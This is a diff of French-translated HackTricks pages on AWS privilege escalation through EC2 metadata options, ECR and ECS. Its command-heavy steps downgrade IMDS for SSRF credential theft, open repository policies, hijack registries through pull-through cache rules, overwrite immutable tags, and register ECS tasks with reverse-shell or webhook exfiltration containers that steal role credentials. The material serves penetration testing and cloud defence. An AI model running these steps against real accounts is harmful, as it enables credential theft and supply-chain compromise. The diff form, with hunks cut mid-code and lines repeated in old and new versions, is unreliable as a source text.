- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### `ec2:ModifyInstanceMetadataOptions` (rétrogradation d'IMDS pour permettre le vol d'identifiants via SSRF)
|
||||
|
||||
Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le point de terminaison des métadonnées d'instance accessible via des chemins SSRF/proxy courants depuis des applications exécutées sur l'instance. Si l'attaquant parvient à déclencher une SSRF dans une telle application, il peut récupérer les identifiants de l'instance profile et pivoter avec eux.
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (abaissement d'IMDS pour permettre le vol d'identifiants via SSRF)
|
||||
|
||||
Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le endpoint des metadata d'instance accessible via des chemins SSRF/proxy courants depuis des applications s'exécutant sur l'instance. Si l'attaquant peut déclencher une SSRF dans une telle application, il peut récupérer les identifiants de l'instance profile et pivoter avec eux.
|
||||
|
||||
- Permissions requises : `ec2:ModifyInstanceMetadataOptions` sur l'instance cible (plus la capacité à atteindre/déclencher une SSRF sur l'hôte).
|
||||
- Permissions requises : `ec2:ModifyInstanceMetadataOptions` sur l'instance cible (plus la capacité d'atteindre/déclencher une SSRF sur l'hôte).
|
||||
- Ressource cible : l'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role).
|
||||
|
||||
Exemple de commandes :
|
||||
@@ -297,4 +292,5 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Impact potentiel : Vol des identifiants d'instance profile via SSRF entraînant privilege escalation et lateral movement avec les permissions du rôle EC2.
|
||||
Impact potentiel : vol des instance profile credentials via SSRF entraînant une privilege escalation et un lateral movement avec les permissions du rôle EC2.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -8,19 +8,19 @@
|
||||
|
||||
Un attaquant disposant de **`ecr:GetAuthorizationToken`** et **`ecr:BatchGetImage`** peut se connecter à ECR et télécharger des images.
|
||||
|
||||
Pour plus d'informations sur la façon de télécharger des images :
|
||||
Pour plus d'infos sur la façon de télécharger des images :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Impact potentiel :** privesc indirect en interceptant des informations sensibles dans le trafic.
|
||||
**Impact potentiel :** privesc indirecte en interceptant des informations sensibles dans le trafic.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
Un attaquant disposant de toutes ces permissions **peut se connecter à ECR et téléverser des images**. Cela peut être utile pour escalader des privilèges vers d'autres environnements où ces images sont utilisées.
|
||||
Un attaquant disposant de toutes ces permissions **peut se connecter à ECR et téléverser des images**. Cela peut être utile pour escalate privileges vers d'autres environnements où ces images sont utilisées.
|
||||
|
||||
Pour apprendre comment téléverser une nouvelle image/mettre à jour une existante, consultez :
|
||||
Pour apprendre comment téléverser une nouvelle image / mettre à jour une image, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
@@ -32,14 +32,14 @@ Comme la section précédente, mais pour les dépôts publics.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait **modifier la politique du dépôt** pour s'accorder (ou même accorder à tout le monde) **un accès lecture/écriture**.\
|
||||
Par exemple, dans cet exemple l'accès en lecture est accordé à tout le monde.
|
||||
Un attaquant disposant de cette permission pourrait **modifier** la **politique** du **dépôt** pour s'accorder (ou même accorder à tout le monde) un **accès lecture/écriture**.\
|
||||
Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
Contenu de `my-policy.json`:
|
||||
Contenu de `my-policy.json` :
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -59,8 +59,8 @@ Contenu de `my-policy.json`:
|
||||
```
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Comme la section précédente, mais pour les repositories publics.\
|
||||
Un attaquant peut **modify the repository policy** d'un ECR Public repository pour accorder un accès public non autorisé ou pour escalader ses privilèges.
|
||||
Comme la section précédente, mais pour les dépôts publics.\
|
||||
Un attaquant peut **modifier la politique du dépôt** d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour escalader ses privilèges.
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,55 +87,49 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**Impact potentiel** : Accès public non autorisé au dépôt ECR Public, permettant à n'importe quel utilisateur de push, pull ou delete des images.
|
||||
**Impact potentiel** : Accès public non autorisé au dépôt ECR Public, permettant à n'importe quel utilisateur de push, pull ou delete images.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
Un attaquant disposant de cette autorisation pourrait **modifier** la **politique du registre** pour s'accorder, à lui-même, à son compte (ou même à tout le monde), un **accès en lecture/écriture**.
|
||||
Un attaquant disposant de cette permission pourrait **modifier** la **registry policy** pour s'octroyer, à lui-même, à son compte (ou même à tout le monde) **read/write access**.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. This makes workloads pulling from the private ECR transparently receive attacker images without any push to private ECR.
|
||||
Abuser des règles ECR Pull Through Cache (PTC) pour mapper un namespace upstream attacker-controlled sur un préfixe privé ECR de confiance. Cela permet aux workloads qui pullent depuis le private ECR de recevoir de manière transparente des attacker images sans aucun push vers le private ECR.
|
||||
|
||||
- Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez un upstream ECR Public : ecr-public:* pour créer/pusher dans le repo public.
|
||||
- Upstream testé : public.ecr.aws
|
||||
- Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez ECR Public comme upstream : ecr-public:* pour créer/pusher vers le repo public.
|
||||
- Tested upstream: public.ecr.aws
|
||||
|
||||
Étapes (exemple) :
|
||||
Étapes (exemple):
|
||||
|
||||
1. Préparer une image contrôlée par l'attaquant dans ECR Public
|
||||
1. Préparer l'image attacker dans ECR Public
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. Créer la règle PTC dans l'ECR privé pour mapper un préfixe de confiance vers le registre public
|
||||
2. Créer la règle PTC dans le private ECR pour mapper un préfixe de confiance vers le registre public
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. Récupérer (pull) l'image de l'attaquant via le chemin ECR privé (aucun push vers l'ECR privé n'a été effectué)
|
||||
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
Impact potentiel : compromission de la chaîne d'approvisionnement en détournant des noms d'images internes sous le préfixe choisi. Toute charge de travail tirant des images depuis l'ECR privé utilisant ce préfixe recevra du contenu contrôlé par l'attaquant.
|
||||
Impact potentiel : compromission de la chaîne d'approvisionnement en détournant les noms d'images internes sous le préfixe choisi. Tout workload pullant des images depuis le private ECR utilisant ce préfixe recevra du attacker-controlled content.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
Abuse this permission to flip a repository with tag immutability to mutable and overwrite trusted tags (e.g., latest, stable, prod) with attacker-controlled content.
|
||||
Abuser de cette permission pour basculer un repository dont les tags sont immutables vers mutable et écraser des tags de confiance (par ex. latest, stable, prod) avec attacker-controlled content.
|
||||
|
||||
- Permissions requises : `ecr:PutImageTagMutability` plus les capacités de push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact : compromission de la chaîne d'approvisionnement en remplaçant silencieusement des tags immutables sans changer leurs noms.
|
||||
- Impact : compromission de la chaîne d'approvisionnement en remplaçant silencieusement des tags immuables sans changer les noms des tags.
|
||||
|
||||
Étapes (exemple) :
|
||||
Étapes (exemple):
|
||||
|
||||
<details>
|
||||
<summary>Empoisonner un tag immuable en basculant la mutabilité</summary>
|
||||
@@ -158,14 +152,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### Global registry hijack via ROOT Pull-Through Cache rule
|
||||
#### Détournement global du registre via une règle ROOT Pull-Through Cache
|
||||
|
||||
Créez une règle Pull-Through Cache (PTC) utilisant le paramètre spécial `ecrRepositoryPrefix=ROOT` pour mapper la racine du registre ECR privé vers un registre public en amont (par ex., ECR Public). Tout pull vers un repository inexistant dans le registre privé sera servi de façon transparente depuis l'amont, permettant un supply-chain hijacking sans pousser vers le ECR privé.
|
||||
Créez une règle Pull-Through Cache (PTC) en utilisant le paramètre spécial `ecrRepositoryPrefix=ROOT` pour mapper la racine du registre ECR privé vers un registre public upstream (par ex., ECR Public). Tout pull vers un repository inexistant dans le registre privé sera servi de façon transparente depuis l'upstream, permettant un supply-chain hijacking sans pousser d'images vers l'ECR privé.
|
||||
|
||||
- Permissions requises : `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- Impact : les pulls vers `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` réussissent et créent automatiquement des private repos issus de l'amont.
|
||||
- Impact : Les pulls vers `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` réussissent et créent automatiquement des repos privés provenant de l'upstream.
|
||||
|
||||
> Remarque : pour les règles `ROOT`, omettez `--upstream-repository-prefix`. Le fournir provoquera une erreur de validation.
|
||||
> Note : Pour les règles `ROOT`, omettez `--upstream-repository-prefix`. Le fournir provoquera une erreur de validation.
|
||||
|
||||
<details>
|
||||
<summary>Démo (us-east-1, upstream public.ecr.aws)</summary>
|
||||
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (Rétrograder `REGISTRY_POLICY_SCOPE` pour contourner les denies de registry policy)
|
||||
### `ecr:PutAccountSetting` (Rétrograder `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)
|
||||
|
||||
Exploitez `ecr:PutAccountSetting` pour changer le scope de la registry policy de `V2` (policy appliquée à toutes les actions ECR) à `V1` (policy appliquée uniquement à `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si une registry policy restrictive (Deny) bloque des actions comme `CreatePullThroughCacheRule`, la rétrogradation vers `V1` supprime cette restriction et permet aux identity‑policy Allows de prendre effet.
|
||||
Exploiter `ecr:PutAccountSetting` pour changer la portée de la registry policy de `V2` (policy applied to all ECR actions) à `V1` (policy applied only to `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si une registry policy restrictive Deny bloque des actions comme `CreatePullThroughCacheRule`, la rétrogradation vers `V1` supprime cette application de sorte que les identity‑policy Allows prennent effet.
|
||||
|
||||
- Permissions requises : `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- Impact : Capacité à effectuer des actions ECR précédemment bloquées par une registry policy Deny (par ex., créer des règles PTC) en définissant temporairement le scope sur `V1`.
|
||||
- Impact : Possibilité d'effectuer des actions ECR auparavant bloquées par une registry policy Deny (par ex., créer des règles PTC) en définissant temporairement la portée sur `V1`.
|
||||
|
||||
Étapes (exemple) :
|
||||
|
||||
<details>
|
||||
<summary>Contourner la registry policy Deny sur CreatePullThroughCacheRule en passant à V1</summary>
|
||||
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -266,3 +260,5 @@ fi
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Plus d'**infos sur ECS** dans:
|
||||
Plus d'informations sur ECS dans :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ Plus d'**infos sur ECS** dans:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Un attaquant abusant de la permission `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle task definition** avec un **malicious container** qui vole les metadata credentials et **l'exécuter**.
|
||||
Un attaquant abusant de la permission `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants des métadonnées et **l'exécuter**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Créez un webhook sur un site comme webhook.site
|
||||
Créez un webhook avec un site comme webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Privesc direct vers un autre rôle ECS.
|
||||
**Impact potentiel :** Direct privesc to a different ECS role.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Un attaquant disposant des permissions `iam:PassRole` et `ecs:RunTask` peut démarrer une nouvelle tâche ECS avec des valeurs modifiées pour **execution role**, **task role** et le **command** du conteneur. La commande CLI `ecs run-task` possède le flag `--overrides`, qui permet de modifier à l'exécution les valeurs `executionRoleArn`, `taskRoleArn` et le `command` du conteneur sans toucher la task definition.
|
||||
Un attaquant disposant des permissions `iam:PassRole` et `ecs:RunTask` peut démarrer une nouvelle ECS task avec des valeurs modifiées pour le **execution role**, le **task role** et le **command** du container. La commande CLI `ecs run-task` contient le flag `--overrides` qui permet de changer à l'exécution `executionRoleArn`, `taskRoleArn` et le **command** du container sans modifier la task definition.
|
||||
|
||||
Les IAM roles spécifiés pour `taskRoleArn` et `executionRoleArn` doivent, dans leur trust policy, permettre qu'ils soient assumés par `ecs-tasks.amazonaws.com`.
|
||||
Les IAM roles spécifiés dans `taskRoleArn` et `executionRoleArn` doivent explicitement autoriser `ecs-tasks.amazonaws.com` à les assumer dans leur trust policy.
|
||||
|
||||
De plus, l'attaquant doit connaître :
|
||||
- nom du cluster ECS
|
||||
- sous-réseau VPC
|
||||
- groupe de sécurité (si aucun n'est spécifié, celui par défaut sera utilisé)
|
||||
- Nom et révision de la Task Definition
|
||||
- Nom du Container
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (si aucun security group n'est spécifié, celui par défaut sera utilisé)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
Dans l'extrait de code ci‑dessus, un attacker écrase uniquement la valeur `taskRoleArn`. Cependant, l'attacker doit avoir la permission `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et le `executionRoleArn` spécifié dans la définition de tâche pour que l'attaque puisse avoir lieu.
|
||||
Dans l'extrait de code ci‑dessus, un attaquant remplace seulement la valeur de `taskRoleArn`. Cependant, l'attaquant doit disposer de l'autorisation `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et sur le `executionRoleArn` spécifié dans la définition de tâche pour que l'attaque puisse avoir lieu.
|
||||
|
||||
Si le rôle IAM que l'attacker peut passer possède suffisamment de privilèges pour puller l'image ECR et démarrer la tâche ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), alors l'attacker peut spécifier le même rôle IAM pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`.
|
||||
Si le rôle IAM que l'attaquant peut passer possède suffisamment de privilèges pour récupérer l'image ECR et démarrer la tâche ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), alors l'attaquant peut spécifier le même rôle IAM pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel rôle de task ECS.
|
||||
**Impact potentiel :** Privesc direct sur n'importe quel rôle de tâche ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle task definition** contenant un **conteneur malveillant** qui vole les metadata credentials et **l'exécuter**.\
|
||||
Cependant, dans ce cas, une container instance est nécessaire pour exécuter la task definition malveillante.
|
||||
Comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants des métadonnées et **l'exécuter**.\
|
||||
Cependant, dans ce cas, une instance de conteneur doit être disponible pour exécuter la définition de tâche malveillante.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,12 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.
|
||||
**Impact potentiel :** privesc direct sur n'importe quel rôle ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
|
||||
Comme dans l'exemple précédent, un attaquant abusant des autorisations **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** dans ECS peut **générer une nouvelle task definition** avec un **malicious container** qui vole les **metadata credentials** et **l'exécuter en créant un nouveau service avec au moins 1 task en cours d'exécution.**
|
||||
Comme dans l'exemple précédent, un attaquant abusant des **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** permissions dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants de métadonnées et **l'exécuter en créant un nouveau service avec au moins 1 tâche en cours d'exécution.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -170,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers n'importe quel rôle ECS.
|
||||
**Impact potentiel:** Privesc direct sur n'importe quel rôle ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
En fait, rien qu'avec ces permissions, il est possible d'utiliser des overrides pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire, par exemple :
|
||||
En fait, uniquement avec ces permissions, il est possible d'utiliser les overrides pour exécuter des commandes arbitraires dans un conteneur en utilisant un rôle arbitraire, par exemple :
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -182,13 +181,13 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.
|
||||
**Impact potentiel :** privesc direct vers n'importe quel rôle ECS.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ce scénario est similaire aux précédents mais **sans** la permission **`iam:PassRole`**.\
|
||||
C'est toujours intéressant, car si vous pouvez exécuter un container arbitraire, même sans rôle, vous pourriez **exécuter un container privilégié pour vous échapper** vers le nœud et **voler le rôle IAM EC2** ainsi que les **autres rôles des containers ECS** s'exécutant sur ce nœud.\
|
||||
Vous pourriez même **forcer d'autres tasks à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
Cette situation reste intéressante car si vous pouvez exécuter un conteneur arbitraire, même s'il est sans rôle, vous pourriez **exécuter un conteneur privilégié pour vous échapper** vers le nœud et **voler le rôle IAM EC2** ainsi que les **autres rôles des conteneurs ECS** s'exécutant sur le nœud.\
|
||||
Vous pourriez même **forcer d'autres tâches à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Cette attaque n'est possible que si le **cluster ECS utilise des instances EC2** et non Fargate.
|
||||
@@ -234,8 +233,8 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions describe car elles sont nécessaires pour exécuter `aws ecs execute-command`).\
|
||||
Cependant, pour cela, l'instance de conteneur doit exécuter l'**ExecuteCommand agent** (ce qui, par défaut, n'est pas le cas).
|
||||
Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (il faut les permissions describe car elles sont nécessaires pour exécuter `aws ecs execute-command`).\
|
||||
Cependant, pour faire cela, l'instance de conteneur doit exécuter l'**ExecuteCommand agent** (ce qui, par défaut, n'est pas le cas).
|
||||
|
||||
Par conséquent, l'attaquant pourrait essayer de :
|
||||
|
||||
@@ -257,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- S'il possède **`ecs:RunTask`**, exécutez une tâche avec `aws ecs run-task --enable-execute-command [...]`
|
||||
- S'il possède **`ecs:StartTask`**, exécutez une tâche avec `aws ecs start-task --enable-execute-command [...]`
|
||||
- S'il possède **`ecs:CreateService`**, créez un service avec `aws ecs create-service --enable-execute-command [...]`
|
||||
- S'il possède **`ecs:UpdateService`**, mettez à jour un service avec `aws ecs update-service --enable-execute-command [...]`
|
||||
- S'il a **`ecs:RunTask`**, exécuter une tâche avec `aws ecs run-task --enable-execute-command [...]`
|
||||
- S'il a **`ecs:StartTask`**, exécuter une tâche avec `aws ecs start-task --enable-execute-command [...]`
|
||||
- S'il a **`ecs:CreateService`**, créer un service avec `aws ecs create-service --enable-execute-command [...]`
|
||||
- S'il a **`ecs:UpdateService`**, mettre à jour un service avec `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Vous pouvez trouver **des exemples de ces options** dans **les sections ECS privesc précédentes**.
|
||||
Vous pouvez trouver **des exemples de ces options** dans les **sections ECS privesc précédentes**.
|
||||
|
||||
**Impact potentiel :** Privesc vers un rôle différent attaché aux conteneurs.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Consultez la **ssm privesc page** pour voir comment vous pouvez abuser de cette permission afin de **privesc vers ECS** :
|
||||
Consultez la **page ssm privesc** pour voir comment abuser de cette permission afin de **privesc vers ECS** :
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -276,7 +275,7 @@ Consultez la **ssm privesc page** pour voir comment vous pouvez abuser de cette
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Consultez la **ec2 privesc page** pour voir comment vous pouvez abuser de ces permissions afin de **privesc vers ECS** :
|
||||
Consultez la **page ec2 privesc** pour voir comment abuser de ces permissions afin de **privesc vers ECS** :
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -286,14 +285,14 @@ Consultez la **ec2 privesc page** pour voir comment vous pouvez abuser de ces pe
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait potentiellement enregistrer une instance EC2 dans un cluster ECS et y exécuter des tâches. Cela pourrait permettre à l'attaquant d'exécuter du code arbitraire dans le contexte des tâches ECS.
|
||||
|
||||
- TODO : Est-il possible d'enregistrer une instance depuis un autre compte AWS afin que les tâches s'exécutent sur des machines contrôlées par l'attaquant ?
|
||||
- TODO : Est-il possible d'enregistrer une instance depuis un compte AWS différent de sorte que les tâches s'exécutent sur des machines contrôlées par l'attaquant ??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Tester cela
|
||||
> TODO : Tester ceci
|
||||
|
||||
Un attaquant disposant des permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le primary task set**. Cela permet à l'attaquant d'**exécuter du code arbitraire au sein du service**.
|
||||
Un attaquant disposant des permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le task set primaire**. Cela permet à l'attaquant de **exécuter du code arbitraire au sein du service**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -319,13 +318,13 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Impact potentiel** : Exécuter du code arbitraire dans le service affecté, pouvant impacter sa fonctionnalité ou exfiltrer des données sensibles.
|
||||
**Impact potentiel**: Exécuter du code arbitraire dans le service affecté, pouvant impacter sa fonctionnalité ou exfiltrer des données sensibles.
|
||||
|
||||
## Références
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
